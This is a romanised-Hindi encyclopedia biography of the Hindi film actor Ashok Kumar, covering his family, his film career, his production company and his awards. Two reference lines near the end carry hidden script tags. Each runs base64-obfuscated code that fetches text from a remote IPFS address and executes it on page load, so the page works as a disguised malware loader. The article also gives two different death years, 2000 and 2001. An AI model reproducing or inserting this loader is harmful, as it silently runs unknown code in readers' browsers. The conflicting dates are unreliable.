अशोक कुमार
| chitr:Disamb2.jpg ashok kumar | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- ashok kumar (bahuvikalpi) |
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ashok kumar
| |
| poora nam | kumud kumar gaanguli |
| prasiddh nam | ashok kumar |
| any nam | dada muni |
| janm | 13 aktoobar, 1911 |
| janm bhoomi | bhagalapur, bihar |
| mrityu | 10 disanbar, 2001 |
| mrityu sthan | mumbee |
| abhibhavak | kuanjalal gaanguli |
| karm bhoomi | mumbee |
| karm-kshetr | film sangit, abhinay, nirdeshak, nirmata, gitakar |
| mukhy filmean | achhoot kanya, ijjat, savitri, nirmala |
| shiksha | snatak |
| vidyalay | ilahabad vishvavidyalay |
| puraskar-upadhi | dada sahab phalke puraskar, padm bhooshan, sangit natak akadami puraskar, filmafeyar puraskar. |
| nagarikata | bharatiy |
ashok kumar (aangrezi: Ashok Kumar, janm: 13 aktoobar, 1911, bhagalapur, bihar; mrityu: 10 disanbar, 2000) hindi filmoan ke prasiddh abhineta, nirmata-nirdeshak the. ashok kumar ko sanh 1999 mean bharat sarakar ne kala ke kshetr mean padm bhooshan se sammanit kiya tha. hindi sinema ke yugapurush kumud kumar gaanguli urph ashok kumar ko aise abhineta ke roop mean yad kiya jata hai jinhoanne us samay prachalit thiyetar shaili ko samapt kar abhinay ko svabhavikata pradan ki aur chhah dashakoan tak apane behatarin kam se sinepremiyoan ko romaanchit kiya.[1] ashok kumar ka asali nam kumud gaanguli hai. inhean dada muni ke nam se jana jata hai. ashok kumar ne 300 se zyada filmoan mean abhinay kiya.
jivan parichay
ashok kumar ka janm bihar ke bhagalapur shahar ke adamapur mohalle ke ek madhyam vargiy bangali parivar mean hua tha. ashok kumar sabhi bhaee-bahanoan mean b de the. unake pita kuanjalal gaanguli madhy pradesh ke khandava mean vakil the.gayak evan abhineta kishor kumar evan abhineta anoop kumar unake chhote bhaee the. darasal in donoan ko filmoan mean ane ki prerana bhi ashok kumar se hi mili. ashok kumar ne apani praranbhik shiksha madhyapradesh ke khandava shahar mean prapt ki thi aur bad mean ashok kumar ne apani snatak ki shiksha ilahabad vishvavidyalay se poori ki thi. ashok kumar ne abhinay ki prachalit shailiyoan ko darakinar kar diya aur apani svabhavik shaili vikasit ki thi. vah kabhi bhi jokhim lene mean nahian ghabarae aur pahali bar hindi sinema mean eanti hiro ki bhoomika ki thi.[1] ashok kumar ne sanh 1934 mean nyoo thietar mean bataur leboretri asisteant ke roop mean kam kiya tha.
ashok, anoop aur kishor kumar ne 'chalati ka nam ga di' mean kam kiya. is k aaumedi film mean bhi ashok kumar ne b de bhaee ki bhoomika nibhaee thi. film mean madhubala ne bhi kam kiya tha. kishor kumar ne apane kee sakshatkaroan mean yah bat svikar ki thi ki unhean n keval abhinay balki gane ki prerana bhi ashok kumar se mili thi kyoanki ashok kumar ne bachapan mean unake bhitar balagitoan ke jarie gayan ke sanskar dale the.[2]
abhinay ki shuruat
film jagath mean dadamuni ke nam se lokapriy ashok kumar ke abhinay saphar ki shuruat kisi filmi kahani se kam nahian thi. 1936 mean baanbe t aaukij stoodiyo ki film 'jivan naiya' ke abhineta achanak bimar ho ge aur kanpani ko ne kalakar ki talash thi. aisi sthiti mean stoodiyo ke malik himaanshu ray ki nazar akarshak vyaktitv ke dhani laiboretari asisteant ashok kumar par p di aur unase abhinay karane ka prastav diya tha. yahian se unake abhinay ka safar shuroo ho gaya. unaki agali film 'achhoot kanya' thi. 1937 mean pradarshit film achhoot kanya mean devika rani unaki nayika thian. yah film kamayab rahi aur usane dadamuni ko b de sitaroan ki shreni mean sthapit kar diya. us zamane ke lihaz se yah mahattvapoorn film thi aur isi ke sath samajik samasyaoan par adharit filmoan ki shuruat huee. devika rani ke sath unhoanne age bhi kee filmean ki jinamean 'ijjat', 'savitri', 'nirmala' adi shamil haian. isake bad unaki jo di lila chitanis ke sath bani.[1]
saphalata
ek star ke roop mean ashok kumar ki chhavi 1943 mean aee 'qismat' film se bani. parde par sigaret ka dhuana u date ashok kumar ne ram ki chhavi vale nayak ke us daur mean is film ke jarie eanti hiro ke patr ko nibhane ka jokhim uthaya. yah jokhim unake lie behad fayademand sabit hua aur is film ne saphalata ke kee kirtiman banae. usi dashak mean unaki ek aur film mahal aee, jisamean madhubala thian. romaanchak film mahal ko bhi behad kamayabi mili. bad ke dinoan mean jab hindi sinema mean dilip, dev aur raj ki tik di ki lokapriyata charam par thi, us samay bhi unaka abhinay logoan ke sar chadhakar bolata raha aur unaki filmean kamayab hoti rahian. apane daur ki any abhinetriyoan ke sath-sath ashok kumar ne mina kumari ke sath bhi kee filmoan mean abhinay kiya jinamean pakiza, bahoo begam, ek hi rasta, bandish, arati adi shamil haian.[2] ashok kumar ke abhinay ki charcha unaki ashirvad film ke bina adhoori hi rahegi. is film mean unhoanne ekadam ne tarah ke patr ko nibhaya. is film mean unaka gaya git relaga di relaga di.. kafi lokapriy hua tha.
| varsh | film | nayika | nirdeshak |
|---|
charitr abhineta
ashok kumar ne bad ke jivan mean charitr abhineta ki bhoomikaean nibhani shuroo kar di thian. in bhoomikaoan mean bhi ashok kumar ne jivant abhinay kiya. ashok kumar ganbhir hi nahian hasy abhinay mean bhi maharath rakhate the. viktoriya nanbar 203 film ho ya shauqin, ashok kumar ne har kiradar mean kuchh naya paida karane ka prayas kiya. umr badhane ke sath hi unhoanne sahayak aur charitr abhineta ka kiradar nibhana shuroo kar diya lekin unake abhinay ki tajagi qayam rahi. aisi filmoan mean qanoon, chalati ka nam ga di, chhoti si bat, mili, khoobasoorat, gumarah, ek hi rasta, bandini, mamata adi shamil haian.[1] unhoanne vilen ki bhi bhoomika ki. dev anand ki jvail thif mean unhoanne vilen ki bhoomika ki thi.
film nirman
pachas ke dashak me bambe t aaukij se alag hone ke bad unhoanne apani khud ki kanpani shuroo ki aur joopitar thietar ko bhi kharid liya. ashok kumar prodakshan ke bainar tale unhoanne sabase pahali film samaj ka nirman kiya, lekin yah film b aauks aphis par buri tarah asaphal rahi. isake bad unhonean apane bainar tale film parinita bhi banaee. lagabhag tin varsh ke bad film nirman kshetr mean ghata hone ke karan unhoanne apani prodakshan kanpani band kar di. 1953 mean pradarshit film 'parinita' ke nirman ke dauran film ke nirdeshak bimal ray ke sath unaki anaban ho gee thi. jisake karan unhoanne bimal ray ke sath kam karana band kar diya, lekin abhinetri nootan ke kahane par ashok kumar ne ek bar phir se bimal r aauy ke sath 1963 mean pradarshit film bandini mean kam kiya. yah film hindi film ke itihas mean aj bhi klasik filmoan mean shumar ki jati hai. 1967 mean pradarshit film 'jvailathif' mean ashok kumar ke abhinay ka naya roop darshako ko dekhane ko mila. is film mean vah apane sine kairiyar me pahali bar khalanayak ki bhoomika mean dikhaee die. is film ke jarie bhi unhoanne darshakoan ka bharapoor manoranjan kiya. abhinay mean aee ekarupata se bachane aur svany ko charitr abhineta ke roop me bhi sthapit karane ke lie ashok kumar ne khud ko vibhinn bhoomikaoan mean pesh kiya. inamean 1968 mean pradarshit film 'arshivad' khas taur par ullekhaniy hai. film mean bemisal abhinay ke lie unako sarvashreshth abhineta ke rashtriy puraskar se sammanit kiya gaya. is film mean unaka gaya gana rel ga di-rel ga di bachchoan ke bich kafi lokapriy hua.
any visheshataean
'dadamuni' matalab b de bhaee ke nam se mashahoor ashok kumar ek behatarin chitrakar, shataranj khila di, ek homyopaith v kee bhashaoan ke jnata bhi the. unhoanne kee filmoan mean svayan gane bhi gae. film hi nahian ashok kumar ne tivi mean bhi kam kiya. bharat ke pahale sop opera 'ham log' mean unhoanne sootradhar ki bhoomika nibhaee. sootradhar ke roop mean ashok kumar 'ham log' ke ek abhinn aang ban ge. darshak akhir mean ki jane vali unaki tippani ka iantazar karate the kyoanki vah tippani ko har bar alag tarike se doharate the. isake alava unhoanne akhiri mugal badashah bahadur shah jafar ke jivan par adharit dharavahik mean bhi behatarin bhoomika nibhaee.[2]
puraskar
ashok kumar ko filmi saphar mean kee puraskaroan se navaza gaya aur qarib chhah dashak tak bemisal abhinay se darshakoan ko romaanchit kiya.
| san | puraskar |
|---|---|
| 1959 | sangit natak akadami puraskar se sammanit kiya gaya. |
| 1962 | rakhi film ke lie unhean sarvashreshth abhineta ka filmafeyar puraskar mila tha. |
| 1967 | afasana film ke lie sahayak abhineta ka filmafeyar puraskar mila tha. |
| 1969 | ashirvad film ke lie unhean sarvashreshth abhineta ka filmafeyar puraskar mila tha. |
| 1969 | ashirvad film ke lie unhean sarvashreshth abhineta ke lie rashtriy film puraskar mila tha. |
| 1988 | dada saheb phalke puraskar se sammanit kiya gaya. |
| 1994 | star skrin laiphataim achivameant puraskar se sammanit kiya gaya. |
| 1995 | filmafeyar laiphataim echivameant avard se sammanit kiya gaya. |
| 1999 | padm bhooshan se sammanit kiya gaya. |
| 2001 | uttar pradesh sarakar dvara avadh samman diya gaya. |
| 2007 | star skrin ki taraf se "vishesh puraskar" puraskar se samman diya gaya. |
mrityu
qarib chhah dashak tak bemisal abhinay se darshakoan ko romaanchit karane vale dadamuni ashok kumar 10 disanbar 2001 ko is duniya ko alavida kah ge. vah aj bhale hi hamare bich nahian ho lekin vah qarib 275 filmoan ki aisi virasat chho d ge haian jo hamesha-hamesha ke lie darshakoan ko sochane, gudagudane aur romaanchit karane ke lie paryapt haian.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 yugapurush the dadamuni urph ashok kumar (hindi) (ech.ti.em.el) yahoo jagaran. abhigaman tithi: 12 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 sahaj abhinay ke paryay the ashok kumar (hindi) (ech.ti.em.el) yahoo jagaran. abhigaman tithi: 12 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ abhar- panjab kesari
bahari k diyaan
- ashok kumar
- filmafeyar
- sahaj abhinay ke paryay the ashok kumar
- ashok kumar
- 'dada muni' ki 100vian varshagaanth hogi dhamakedar
sanbandhit lekh
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